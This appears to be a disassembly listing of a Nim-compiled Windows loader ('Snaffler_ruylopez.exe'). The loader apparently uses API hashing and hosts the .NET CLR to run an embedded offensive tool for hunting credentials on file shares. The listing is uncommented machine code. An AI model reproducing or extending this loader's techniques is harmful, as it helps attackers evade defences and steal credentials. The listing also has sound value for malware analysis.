call sym.Snaffler_ruylopez.exe_invoke__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZclr_827.constprop.0
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], r14
jmp 0x14001544d
add qword [rbp - 0x10], 8
mov qword [r12 + r15*8], rbp
test rsi, rsi
je 0x140015449
mov rax, qword [rsi - 0x10]
lea rcx, [rsi - 0x10]
sub rax, 8
mov qword [rsi - 0x10], rax
cmp rax, 7
ja 0x140015449
call sym.Snaffler_ruylopez.exe_addZCT__system_5314.constprop.0
add rdi, 1
call sym.Snaffler_ruylopez.exe_nosparamCount
cmp rax, rdi
jl 0x1400154e8
mov rcx, rdi
call sym.Snaffler_ruylopez.exe_nosparamStr
mov rdx, qword [sym.Snaffler_ruylopez.exe_NTIseqLstringT__sM4lkSb7zS6F7OVMvW9cffQ_]
mov rcx, r12
mov rbp, rax
call sym.Snaffler_ruylopez.exe_incrSeqV3
mov r15, qword [rax]
mov r12, rax
lea rax, [r15 + 1]
add r15, 2
mov qword [r12], rax
mov rsi, qword [r12 + r15*8]
test rbp, rbp
je 0x140015425
cmp qword [rbp + 8], 0
js 0x140015420
mov rdx, qword [rbp]
mov eax, 7
cmp rdx, rax
cmovl rdx, rax
lea rcx, [rdx + 0x11]
mov qword [rsp + 0x58], rdx
call sym.Snaffler_ruylopez.exe_newObjRC1.constprop.0
mov rdx, qword [rsp + 0x58]
mov r14, rax
mov qword [rax + 8], rdx
mov rax, qword [rbp]
lea rdx, [rbp + 0x10]
lea rcx, [r14 + 0x10]
mov rbp, r14
mov qword [r14], rax
lea r8, [rax + 1]
call sub.msvcrt.dll_memcpy
jmp 0x140015425
mov rsi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x78]
call sym.Snaffler_ruylopez.exe_nosparamCount
test rax, rax
jle 0x140015516
mov ecx, 1
call sym.Snaffler_ruylopez.exe_nosparamStr
mov rcx, rax
call sym.Snaffler_ruylopez.exe_checkIfInteger__76oader_1730
test al, al
jne 0x140015758
mov edx, 0x75854004
lea rcx, [0x14009f380]
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
test r12, r12
je 0x140015a28
mov r15, qword [r12]
mov edi, r15d
cmp byte [rbx], 0
jne 0x14001554a
mov rax, qword [sym.Snaffler_ruylopez.exe_Dl_2113943836_]
xor ecx, ecx
call qword [rax]
mov byte [rbx], 1
mov rcx, r13
call sym.Snaffler_ruylopez.exe_newObj.constprop.0
mov rbp, rax
mov rax, qword [str.x__v_]
cmp qword [rax], 0
je 0x140015a38
mov rax, qword [str.p__v_]
mov r9, qword [rax]
test r9, r9
je 0x140015a9b
mov rcx, r9
mov r8d, 1
mov rdx, rbp
call sym.Snaffler_ruylopez.exe_X5BX5Deq___OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZcom_2130
mov edx, 0x2008
mov r8, qword [rsp + 0x60]
mov rax, qword [sym.Snaffler_ruylopez.exe_Dl_2113941820_]
mov word [rbp], dx
mov ecx, 8
mov edx, 1
mov dword [rsp + 0x134], 0
mov dword [rsp + 0x130], edi
call qword [rax]
mov qword [rbp + 8], rax
test rax, rax
je 0x140015b90
xor edi, edi
test r15, r15
jle 0x14001560e
mov qword [rsp + 0x58], rsi
mov rsi, r12
mov r12, qword [rsp + 0x50]
nop
mov rcx, qword [rsi + rdi*8 + 0x10]
call sym.Snaffler_ruylopez.exe_toVariant__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZcom_6635
mov dword [rsp + 0xf0], edi
add rdi, 1
mov rcx, qword [rbp + 8]
mov r8, qword [rax + 8]
mov rdx, r14
call qword [r12]
cmp r15, rdi
jne 0x1400155e0
mov rsi, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x70]
mov r9, rsi
mov qword [rsp + 0x20], 0
mov r8d, 0x41500
lea rdx, [0x14009f360]
mov qword [rsp + 0xd0], 0
call sym.Snaffler_ruylopez.exe_invoke__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZclr_766
cmp byte [rbx], 0
mov qword [rsp + 0x138], 0
mov r12, rax
mov rax, qword [sym.Snaffler_ruylopez.exe_Null__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZclr_18]
mov rax, qword [rax]
mov qword [rsp + 0x130], rax
jne 0x140015671
mov rax, qword [sym.Snaffler_ruylopez.exe_Dl_2113943836_]
xor ecx, ecx
call qword [rax]
mov byte [rbx], 1
mov rcx, r13
call sym.Snaffler_ruylopez.exe_newObj.constprop.0
mov rbx, rax
mov rax, qword [str.x__v_]
cmp qword [rax], 0
je 0x140015b40
mov rax, qword [str.p__v_]
mov r13, qword [rax]
test r13, r13
je 0x140015af0
mov r8d, 1
mov rdx, rbx
mov rcx, r13
call sym.Snaffler_ruylopez.exe_X5BX5Deq___OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZcom_2130
mov eax, 0x200c
mov ecx, 0xc
mov r8, r14
mov word [rbx], ax
mov rax, qword [sym.Snaffler_ruylopez.exe_Dl_2113941820_]
mov edx, 1
mov dword [rsp + 0xf4], 0
mov dword [rsp + 0xf0], 1
call qword [rax]
mov qword [rbx + 8], rax
mov rcx, rax
test rax, rax
je 0x140015dc8
mov rax, qword [rsp + 0x50]
mov r8, rbp
lea rdx, [rsp + 0xb0]
mov dword [rsp + 0xb0], 0
call qword [rax]
mov r9, qword [rsp + 0x60]
mov r8d, 0x41500
mov rcx, r12
mov qword [rsp + 0x20], 2
lea rdx, [0x14009f330]
mov qword [rsp + 0x138], rbx
call sym.Snaffler_ruylopez.exe_invoke__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZclr_766
nop
add rsp, 0x1a8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
test r12, r12
je 0x140016270
mov rax, qword [r12]
mov rcx, qword [sym.Snaffler_ruylopez.exe_NTIseqLstringT__sM4lkSb7zS6F7OVMvW9cffQ_]
lea rdi, [rax - 1]
mov rdx, rdi
mov qword [rsp + 0x58], rdi
call sym.Snaffler_ruylopez.exe_newSeq
mov rbp, rax
test rdi, rdi
jle 0x140015a1d
mov qword [rsp + 0x78], rsi
xor edi, edi
mov qword [rsp + 0x80], r14
jmp 0x1400157d5
add qword [r15 - 0x10], 8
mov qword [rbp + rdi*8 + 8], r15
test r14, r14
je 0x1400157ca
mov rax, qword [r14 - 0x10]
lea rcx, [r14 - 0x10]
sub rax, 8
mov qword [r14 - 0x10], rax
cmp rax, 7
ja 0x1400157ca
call sym.Snaffler_ruylopez.exe_addZCT__system_5314.constprop.0
cmp qword [rsp + 0x58], rdi
je 0x140015a10
mov r14, qword [rbp + rdi*8 + 0x10]
add rdi, 1
mov r15, qword [r12 + rdi*8 + 0x10]
test r15, r15
je 0x1400157a5
cmp qword [r15 + 8], 0
js 0x1400157a0
mov rdx, qword [r15]
mov eax, 7
cmp rdx, rax
cmovl rdx, rax
lea rcx, [rdx + 0x11]
mov qword [rsp + 0x68], rdx
call sym.Snaffler_ruylopez.exe_newObjRC1.constprop.0
mov rdx, qword [rsp + 0x68]
mov rsi, rax
mov qword [rax + 8], rdx
mov rax, qword [r15]
lea rdx, [r15 + 0x10]
lea rcx, [rsi + 0x10]
mov r15, rsi
mov qword [rsi], rax
lea r8, [rax + 1]
call sub.msvcrt.dll_memcpy
jmp 0x1400157a5
mov rcx, r13
call sym.Snaffler_ruylopez.exe_dollar___systemZwidestrs_260.constprop.0
mov qword [rsp + 0x50], rax
jmp 0x140014689
mov edx, 0x55e555c4
lea rcx, [0x1400a2080]
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
lea rcx, [rsp + 0x130]
mov qword [rsp + 0x130], rax
call sym.Snaffler_ruylopez.exe_echoBinSafe.constprop.0
jmp 0x14001450b
mov qword [rsp + 0x58], 0
xor esi, esi
jmp 0x140015161
mov edx, 0x49779564
lea rcx, [0x14009f280]
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
mov r10d, r13d
movsxd r9, r13d
mov edx, 0x19
mov rcx, qword [sym.Snaffler_ruylopez.exe_strDesc__system_2412]
shr r10d, 0x1f
mov qword [rsp + 0x78], rax
and r13d, 0xf
mov dword [rsp + 0x8c], r10d
mov qword [rsp + 0x80], r9
call sym.Snaffler_ruylopez.exe_newObj
movdqa xmm0, xmmword [0x1400a2ec0]
mov r9, qword [rsp + 0x80]
mov r8, rax
mov r10d, dword [rsp + 0x8c]
movups xmmword [rax], xmm0
mov rax, qword [sym.Snaffler_ruylopez.exe_TM__JGc9b9bh2D3nTdUR7TGyq8aA_3.lto_priv.0]
movzx edx, byte [rax + r13 + 0x10]
mov byte [r8 + 0x17], dl
mov rdx, r9
shr rdx, 4
jne 0x140015f88
test r10b, r10b
je 0x140015f88
mov word [r8 + 0x15], 0x4646
movabs rdx, 0xffffffffffffff
mov rcx, rdx
and ecx, 0xf
shr rdx, 4
movzx ecx, byte [rax + rcx + 0x10]
mov byte [r8 + 0x14], cl
jne 0x140015fb3
test r10b, r10b
je 0x140015fb3
mov word [r8 + 0x12], 0x4646
movabs rdx, 0xffffffffffffff
mov rcx, rdx
and ecx, 0xf
shr rdx, 4
movzx ecx, byte [rax + rcx + 0x10]
mov byte [r8 + 0x11], cl
jne 0x140015fde
test r10b, r10b
je 0x140015fde
mov byte [r8 + 0x10], 0x46
nop dword [rax]
mov qword [rsp + 0x80], r8
mov r13, qword [fcn.14001d730]
mov ecx, 1
call r13
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call fcn.140012af0
mov ecx, 1
call r13
mov rdx, qword [rsp + 0x80]
mov rcx, rax
call fcn.140012af0
mov ecx, 1
call r13
mov r8d, 1
mov edx, 1
lea rcx, [0x14009efb2]
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 1
call r13
mov rcx, rax
call fcn.14001d018
jmp 0x140014cd7
mov rsi, qword [rsp + 0x78]
mov r14, qword [rsp + 0x80]
mov r12, rbp
jmp 0x140015516
xor edi, edi
xor r15d, r15d
jmp 0x140015537
call sym.Snaffler_ruylopez.exe_newTable__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZcom_1916.constprop.0
test rax, rax
je 0x140015a47
add qword [rax - 0x10], 8
mov rdx, qword [str.x__v_]
mov rdx, qword [rdx]
test rdx, rdx
je 0x140015a7e
mov rcx, qword [rdx - 0x10]
lea r8, [rdx - 0x10]
sub rcx, 8
mov qword [rdx - 0x10], rcx
cmp rcx, 7
ja 0x140015a7e
mov rcx, r8
mov qword [rsp + 0x58], rax
call sym.Snaffler_ruylopez.exe_addZCT__system_5314.constprop.0
mov rax, qword [rsp + 0x58]
mov rdx, qword [str.x__v_]
mov qword [rdx], rax
mov rax, qword [str.p__v_]
mov r9, qword [rax]
test r9, r9
jne 0x140015579
call sym.Snaffler_ruylopez.exe_newTable__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZcom_1916.constprop.0
mov r9, rax
test rax, rax
je 0x140015aad
add qword [rax - 0x10], 8
mov rax, qword [str.p__v_]
mov rax, qword [rax]
test rax, rax
je 0x140015ae1
mov rdx, qword [rax - 0x10]
lea rcx, [rax - 0x10]
sub rdx, 8
mov qword [rax - 0x10], rdx
cmp rdx, 7
ja 0x140015ae1
mov qword [rsp + 0x58], r9
call sym.Snaffler_ruylopez.exe_addZCT__system_5314.constprop.0
mov r9, qword [rsp + 0x58]
mov rax, qword [str.p__v_]
mov qword [rax], r9
jmp 0x140015579
call sym.Snaffler_ruylopez.exe_newTable__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZcom_1916.constprop.0
mov r13, rax
test rax, rax
je 0x140015b02
add qword [rax - 0x10], 8
mov rax, qword [str.p__v_]
mov rax, qword [rax]
test rax, rax
je 0x140015b2c
mov rsi, qword [rax - 0x10]
lea rcx, [rax - 0x10]
lea rdx, [rsi - 8]
mov qword [rax - 0x10], rdx
cmp rdx, 7
ja 0x140015b2c
call sym.Snaffler_ruylopez.exe_addZCT__system_5314.constprop.0
mov rax, qword [str.p__v_]
mov qword [rax], r13
jmp 0x1400156a0
call sym.Snaffler_ruylopez.exe_newTable__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZcom_1916.constprop.0
mov rdi, rax
test rax, rax
je 0x140015b52
add qword [rax - 0x10], 8
mov rax, qword [str.x__v_]
mov rax, qword [rax]
test rax, rax
je 0x140015b7c
mov rsi, qword [rax - 0x10]
lea rcx, [rax - 0x10]
lea rdx, [rsi - 8]
mov qword [rax - 0x10], rdx
cmp rdx, 7
ja 0x140015b7c
call sym.Snaffler_ruylopez.exe_addZCT__system_5314.constprop.0
mov rax, qword [str.x__v_]
mov qword [rax], rdi
jmp 0x14001568d
mov rcx, qword [sym.Snaffler_ruylopez.exe_NTIrefvariantconversionerror__sSrF5S0WQBiSGAvsVyZTJQ_]
lea rdi, str.VariantConversionError
call sym.Snaffler_ruylopez.exe_newObj.constprop.1
mov edx, 1
mov ecx, 0x2008
mov r10, rax
mov rax, qword [sym.Snaffler_ruylopez.exe_NTIvariantconversionerror__Y4pKacDNXcA9boOh7ryibHg_]
mov qword [r10 + 0x10], rdi
mov qword [r10], rax
mov qword [rsp + 0x58], r10
call sym.Snaffler_ruylopez.exe_typeDesc__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZcom_1883
mov rcx, qword [sym.Snaffler_ruylopez.exe_TM__BSPEmXPrl3fGKf4UbEDdiQ_70.lto_priv.0]
mov rdx, rax
call sym.Snaffler_ruylopez.exe_vcErrorMsg__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZcom_1890
mov r10, qword [rsp + 0x58]
test rax, rax
je 0x140015be6
add qword [rax - 0x10], 8
mov rdx, qword [r10 + 0x18]
test rdx, rdx
je 0x140015c21
mov rcx, qword [rdx - 0x10]
lea r8, [rdx - 0x10]
sub rcx, 8
mov qword [rdx - 0x10], rcx
cmp rcx, 7
ja 0x140015c21
mov rcx, r8
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x58], r10
call sym.Snaffler_ruylopez.exe_addZCT__system_5314.constprop.0
mov rax, qword [rsp + 0x68]
mov r10, qword [rsp + 0x58]
mov qword [r10 + 0x18], rax
lea rcx, [r10 + 8]
mov qword [rsp + 0x58], r10
call sym.Snaffler_ruylopez.exe_asgnRef.constprop.0
mov rcx, qword [rsp + 0x58]
lea r9, str.com.nim
mov rdx, rdi
mov qword [rsp + 0x20], 0x1e4
lea r8, str.toVariant
call sym.Snaffler_ruylopez.exe_raiseExceptionEx
jmp 0x1400155ca
mov rcx, qword [sym.Snaffler_ruylopez.exe_NTIrefvariantconversionerror__sSrF5S0WQBiSGAvsVyZTJQ_]
lea rdi, str.VariantConversionError
call sym.Snaffler_ruylopez.exe_newObj.constprop.1
mov edx, 1
mov ecx, 0x2011
mov r12, rax
mov rax, qword [sym.Snaffler_ruylopez.exe_NTIvariantconversionerror__Y4pKacDNXcA9boOh7ryibHg_]
mov qword [r12 + 0x10], rdi
mov qword [r12], rax
call sym.Snaffler_ruylopez.exe_typeDesc__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZcom_1883
mov rcx, qword [sym.Snaffler_ruylopez.exe_TM__BSPEmXPrl3fGKf4UbEDdiQ_70.lto_priv.0]
mov rdx, rax
call sym.Snaffler_ruylopez.exe_vcErrorMsg__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZcom_1890
mov rsi, rax
test rax, rax
je 0x140015cb1
add qword [rax - 0x10], 8
mov rax, qword [r12 + 0x18]
test rax, rax
je 0x140015cd6
mov rdx, qword [rax - 0x10]
lea rcx, [rax - 0x10]
sub rdx, 8
mov qword [rax - 0x10], rdx
cmp rdx, 7
ja 0x140015cd6
call sym.Snaffler_ruylopez.exe_addZCT__system_5314.constprop.0
mov qword [r12 + 0x18], rsi
lea rcx, [r12 + 8]
call sym.Snaffler_ruylopez.exe_asgnRef.constprop.0
lea r9, str.com.nim
mov rdx, rdi
mov rcx, r12
mov qword [rsp + 0x20], 0x1e4
lea r8, str.toVariant
call sym.Snaffler_ruylopez.exe_raiseExceptionEx
jmp 0x14001524f
call sym.Snaffler_ruylopez.exe_newTable__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZcom_1916.constprop.0
mov r12, rax
test rax, rax
je 0x140015d22
add qword [rax - 0x10], 8
mov rax, qword [str.p__v_]
mov rax, qword [rax]
test rax, rax
je 0x140015d4c
mov rdi, qword [rax - 0x10]
lea rcx, [rax - 0x10]
lea rdx, [rdi - 8]
mov qword [rax - 0x10], rdx
cmp rdx, 7
ja 0x140015d4c
call sym.Snaffler_ruylopez.exe_addZCT__system_5314.constprop.0
mov rax, qword [str.p__v_]
mov qword [rax], r12
jmp 0x1400151f1
call sym.Snaffler_ruylopez.exe_newTable__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZcom_1916.constprop.0
mov rdi, rax
test rax, rax
je 0x140015d72
add qword [rax - 0x10], 8
mov rax, qword [str.x__v_]
mov rax, qword [rax]
test rax, rax
je 0x140015d9c
mov rdx, qword [rax - 0x10]
lea rcx, [rax - 0x10]
sub rdx, 8
mov qword [rax - 0x10], rdx
cmp rdx, 7
ja 0x140015d9c
call sym.Snaffler_ruylopez.exe_addZCT__system_5314.constprop.0
mov rax, qword [str.x__v_]
mov qword [rax], rdi
jmp 0x1400151de
call sym.Snaffler_ruylopez.exe_clrStart__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZclr_1381.constprop.0.isra.0
mov rax, qword [rbx]
mov qword [rsp + 0x68], rax
jmp 0x140015179
mov rcx, qword [sym.Snaffler_ruylopez.exe_NTIrefvariantconversionerror__sSrF5S0WQBiSGAvsVyZTJQ_]
lea rdi, str.VariantConversionError
call sym.Snaffler_ruylopez.exe_newObj.constprop.1
mov edx, 1
mov ecx, 0x200c
mov r13, rax
mov rax, qword [sym.Snaffler_ruylopez.exe_NTIvariantconversionerror__Y4pKacDNXcA9boOh7ryibHg_]
mov qword [r13 + 0x10], rdi
mov qword [r13], rax
call sym.Snaffler_ruylopez.exe_typeDesc__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZcom_1883
mov rcx, qword [sym.Snaffler_ruylopez.exe_TM__BSPEmXPrl3fGKf4UbEDdiQ_70.lto_priv.0]
mov rdx, rax
call sym.Snaffler_ruylopez.exe_vcErrorMsg__OOZOOZ85sersZnicksZOnimbleZpkgsZwinim4551O57O50ZwinimZcom_1890
mov r14, rax
test rax, rax
je 0x140015e18
add qword [rax - 0x10], 8
mov rax, qword [r13 + 0x18]
test rax, rax
je 0x140015e3c
mov rsi, qword [rax - 0x10]
lea rcx, [rax - 0x10]
lea rdx, [rsi - 8]
mov qword [rax - 0x10], rdx
cmp rdx, 7
ja 0x140015e3c
call sym.Snaffler_ruylopez.exe_addZCT__system_5314.constprop.0
mov qword [r13 + 0x18], r14
lea rcx, [r13 + 8]
call sym.Snaffler_ruylopez.exe_asgnRef.constprop.0
mov rcx, r13
lea r9, str.com.nim
mov rdx, rdi
mov qword [rsp + 0x20], 0x1e4
lea r8, str.toVariant
call sym.Snaffler_ruylopez.exe_raiseExceptionEx
mov rcx, qword [rbx + 8]
jmp 0x1400156f5
and edx, 0xf
movzx edx, byte [rax + rdx + 0x10]
mov byte [r15 + 0x16], dl
mov rdx, rbp
shr rdx, 8
jne 0x140015f26
test r8b, r8b
je 0x140015f26
mov word [r15 + 0x14], 0x4646
movabs rbp, 0xffffffffffffff
mov rdx, rbp
and edx, 0xf
shr rbp, 4
movzx edx, byte [rax + rdx + 0x10]
mov byte [r15 + 0x13], dl
jne 0x140015f56
test r8b, r8b
je 0x140015f56
mov word [r15 + 0x11], 0x4646
movabs rbp, 0xffffffffffffff
and ebp, 0xf
movzx eax, byte [rax + rbp + 0x10]
mov byte [r15 + 0x10], al
jmp 0x140014e30
mov edx, 0x10
jmp 0x140014f10
mov edx, 0x2205ee04
lea rcx, [0x14009f180]
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
mov rcx, r14
mov qword [rsp + 0xf0], rax
call sym.Snaffler_ruylopez.exe_echoBinSafe.constprop.0
jmp 0x140014d29
and edx, 0xf
shr rbp, 0xc
movzx edx, byte [rax + rdx + 0x10]
mov byte [r15 + 0x15], dl
jne 0x140014dd5
test r8b, r8b
je 0x140014dd5
mov word [r15 + 0x13], 0x4646
movabs rbp, 0xffffffffffffff
mov rdx, rbp
and edx, 0xf
shr rbp, 4
movzx edx, byte [rax + rdx + 0x10]
mov byte [r15 + 0x12], dl
jne 0x140014e08
test r8b, r8b
je 0x140014e08
mov word [r15 + 0x10], 0x4646
jmp 0x140014e30
and edx, 0xf
movzx edx, byte [rax + rdx + 0x10]
mov byte [r8 + 0x16], dl
mov rdx, r9
shr rdx, 8
jne 0x140015fef
test r10b, r10b
je 0x140015fef
mov word [r8 + 0x14], 0x4646
movabs rdx, 0xffffffffffffff
mov rcx, rdx
and ecx, 0xf
shr rdx, 4
movzx ecx, byte [rax + rcx + 0x10]
mov byte [r8 + 0x13], cl
jne 0x140016022
test r10b, r10b
je 0x140016022
mov word [r8 + 0x11], 0x4646
movabs rdx, 0xffffffffffffff
and edx, 0xf
movzx eax, byte [rax + rdx + 0x10]
mov byte [r8 + 0x10], al
jmp 0x140015998
and edx, 0xf
movzx edx, byte [rax + rdx + 0x10]
mov byte [r8 + 0x15], dl
mov rdx, r9
shr rdx, 0xc
jne 0x14001593b
test r10b, r10b
je 0x14001593b
mov word [r8 + 0x13], 0x4646
movabs rdx, 0xffffffffffffff
mov rcx, rdx
and ecx, 0xf
shr rdx, 4
movzx ecx, byte [rax + rcx + 0x10]
mov byte [r8 + 0x12], cl
jne 0x14001596e
test r10b, r10b
je 0x14001596e
mov word [r8 + 0x10], 0x4646
jmp 0x140015998
mov edx, 0xb402c6c
lea rcx, [0x14009f2c0]
call sym.Snaffler_ruylopez.exe_calcTheThings__76oader_88
mov r9d, edi
movsxd r8, edi
mov edx, 0x19
mov rcx, qword [sym.Snaffler_ruylopez.exe_strDesc__system_2412]
shr r9d, 0x1f
mov qword [rsp + 0x78], rax
and edi, 0xf
mov dword [rsp + 0x8c], r9d
mov qword [rsp + 0x80], r8
call sym.Snaffler_ruylopez.exe_newObj
movdqa xmm0, xmmword [0x1400a2ec0]
mov r8, qword [rsp + 0x80]
mov r13, rax
mov r9d, dword [rsp + 0x8c]
movups xmmword [rax], xmm0
mov rax, qword [sym.Snaffler_ruylopez.exe_TM__JGc9b9bh2D3nTdUR7TGyq8aA_3.lto_priv.0]
movzx edx, byte [rax + rdi + 0x10]
mov byte [r13 + 0x17], dl
mov rdx, r8
shr rdx, 4
jne 0x140016130
test r9b, r9b
je 0x140016130
mov word [r13 + 0x15], 0x4646
movabs rdx, 0xffffffffffffff
mov rcx, rdx
and ecx, 0xf
shr rdx, 4
movzx ecx, byte [rax + rcx + 0x10]
mov byte [r13 + 0x14], cl
jne 0x140016163
test r9b, r9b
je 0x140016163
mov word [r13 + 0x12], 0x4646
movabs rdx, 0xffffffffffffff
mov rcx, rdx
and ecx, 0xf
shr rdx, 4
movzx ecx, byte [rax + rcx + 0x10]
mov byte [r13 + 0x11], cl
jne 0x140016196
test r9b, r9b
je 0x140016196
mov byte [r13 + 0x10], 0x46
jmp 0x1400161a2
and edx, 0xf
movzx edx, byte [rax + rdx + 0x10]
mov byte [r13 + 0x16], dl
mov rdx, r8
shr rdx, 8
jne 0x14001620c
test r9b, r9b
je 0x14001620c
mov word [r13 + 0x14], 0x4646
movabs rdx, 0xffffffffffffff
mov rcx, rdx
and ecx, 0xf
shr rdx, 4
movzx ecx, byte [rax + rcx + 0x10]
mov byte [r13 + 0x13], cl
jne 0x14001623f
test r9b, r9b
je 0x14001623f
mov word [r13 + 0x11], 0x4646
movabs rdx, 0xffffffffffffff
and edx, 0xf
movzx eax, byte [rax + rdx + 0x10]
mov byte [r13 + 0x10], al
mov rdi, qword [fcn.14001d730]
mov ecx, 1
call rdi
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call fcn.140012af0
mov ecx, 1
call rdi
mov rdx, r13
mov rcx, rax
call fcn.140012af0
mov ecx, 1
call rdi
mov r8d, 1
mov edx, 1
lea rcx, [0x14009efb2]
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 1
call rdi
lea rdi, [rsp + 0xb0]
mov rcx, rax
call fcn.14001d018
jmp 0x140014cd7
and edx, 0xf
movzx edx, byte [rax + rdx + 0x10]
mov byte [r13 + 0x15], dl
mov rdx, r8
shr rdx, 0xc
jne 0x1400160e1
test r9b, r9b
je 0x1400160e1
mov word [r13 + 0x13], 0x4646
movabs rdx, 0xffffffffffffff
mov rcx, rdx
and ecx, 0xf
shr rdx, 4
movzx ecx, byte [rax + rcx + 0x10]
mov byte [r13 + 0x12], cl
jne 0x14001610c
test r9b, r9b
je 0x14001610c
mov word [r13 + 0x10], 0x4646
jmp 0x1400161a2
mov rcx, qword [sym.Snaffler_ruylopez.exe_NTIseqLstringT__sM4lkSb7zS6F7OVMvW9cffQ_]
mov rdx, 0xffffffffffffffff
call sym.Snaffler_ruylopez.exe_newSeq
mov rbp, rax
jmp 0x140015a1d